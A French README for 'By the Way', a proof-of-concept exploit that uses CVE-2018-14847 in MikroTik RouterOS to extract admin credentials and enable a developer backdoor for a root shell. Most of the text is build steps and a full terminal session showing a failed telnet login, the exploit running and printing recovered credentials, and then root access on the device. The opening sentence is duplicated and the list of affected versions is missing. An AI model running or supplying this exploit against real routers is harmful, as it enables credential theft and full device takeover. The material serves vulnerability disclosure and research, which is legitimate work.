
By the Way est un exploit qui permet d'obtenir un shell root sur les appareils Mikrotik exécutant les versions de RouterOS :
By the Way est un exploit qui permet d'obtenir un shell root sur les appareils Mikrotik exécutant les versions RouterOS suivantes :
L'exploit exploite la vulnérabilité de traversée de chemin CVE-2018-14847 pour extraire le mot de passe administrateur et créer un package « option » afin d'activer la backdoor développeur. Après l'exploitation, l'attaquant peut se connecter en Telnet ou SSH avec l'utilisateur root « devel » et le mot de passe de l'administrateur.
Mikrotik a corrigé CVE-2018-14847 en avril. Cependant, jusqu'à la rédaction de ce PoC, je ne crois pas qu'il ait été publiquement divulgué que l'attaque peut être exploitée pour écrire des fichiers. Vous pouvez trouver l'avis de sécurité de Mikrotik ici :
Notez que, bien que cet exploit soit écrit pour Winbox, il pourrait être porté vers HTTP à condition de connaître au préalable les identifiants administrateur.
Ce PoC repose sur :
mkdir build
cd build
cmake ..
make
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ telnet -l devel 192.168.1.251
Trying 192.168.1.251...
Connected to 192.168.1.251.
Escape character is '^]'.
Password:
Login failed, incorrect username or password
Connection closed by foreign host.
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ ./btw -i 192.168.1.251
╔╗ ┬ ┬ ┌┬┐┬ ┬┌─┐ ╦ ╦┌─┐┬ ┬
╠╩╗└┬┘ │ ├─┤├┤ ║║║├─┤└┬┘
╚═╝ ┴ ┴ ┴ ┴└─┘ ╚╩╝┴ ┴ ┴
[+] Extracting passwords from 192.168.1.251:8291
[+] Searching for administrator credentials
[+] Using credentials - admin:lol
[+] Creating /pckg/option on 192.168.1.251:8291
[+] Creating /flash/nova/etc/devel-login on 192.168.1.251:8291
[+] There's a light on
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ telnet -l devel 192.168.1.251
Trying 192.168.1.251...
Connected to 192.168.1.251.
Escape character is '^]'.
Password:
BusyBox v1.00 (2017.03.02-08:29+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
# uname -a
Linux MikroTik 3.3.5 #1 Thu Mar 2 08:16:25 UTC 2017 mips unknown
# cat /rw/logs/VERSION
v6.38.4 Mar/08/2017 09:26:17
# Connection closed by foreign host.